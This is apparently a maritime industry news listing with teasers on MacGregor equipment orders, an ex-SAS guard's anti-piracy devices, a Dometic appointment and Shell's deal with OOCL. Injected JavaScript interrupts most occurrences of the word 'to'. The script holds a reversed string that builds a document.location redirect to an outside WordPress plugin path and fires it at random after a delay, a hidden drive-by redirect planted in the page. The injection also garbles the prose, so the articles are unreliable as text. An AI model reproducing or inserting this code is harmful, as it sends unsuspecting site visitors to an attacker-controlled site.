Author: cbrowne

MacGregor wins hatch cover and crane contracts for five Chinese bulk carriers

MacGregor, part of Cargotec, has received an order from Yangzijiang shipyard in China toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to equip five 62,000dwt open hatch bulk carriers (OHBC) with hatch covers and cranes. Equipment deliveries will start in 2018 and continue until 2019. The order was booked intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Cargotec’s third quarter 2017 order intake.… Read more →

Ex-SAS serviceman invents anti-piracy devices

Former SAS serviceman Wayne Harrison was one of a team of guards on a chemical tanker which was travelling across the Indian Ocean from Beira, Mozambique toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Dar Es Salaam in 2010 when a gang of Somali pirates in a skiff attempted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hijack the vessel. Though members… Read more →

Paul Hickinbotham appointed Product Manager EMEA Marine at Dometic

Marine and domestic product manufacturer Dometic has announced the appointment of 18-year-long company veteran Paul Hickinbotham as its Product Manager EMEA Marine. The new role has been created toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to drive product innovation and custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomer responsiveness by channelling the latest consumer feedback and market intelligence for different regions in… Read more →

Shell supplies marine technology solutions to world’s largest container ship

Orient Overseas Container Line (OOCL), one of the world’s largest integrated international container transportation, logistics and terminal companies, has appointed Shell Marine to provide its integrated marine solutions which include lubricants and services for OOCL Hong Kong (pictured). OOCL Hong Kong is the latest vessel to claim the ‘world’s largest container ship’ with a capacity of 21,413 TEU,  400m-long and 59m… Read more →

MacGregor wins equipment order for specialist research vessel

MacGregor, part of Cargotec, has signed a contract toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to supply oceanographic winches and Triplex deck handling systems toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a ground-breaking new research vessel being built by the Fassmer shipyard in Berne, Germany. The order was booked intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Cargotec’s second quarter 2017 order… Read more →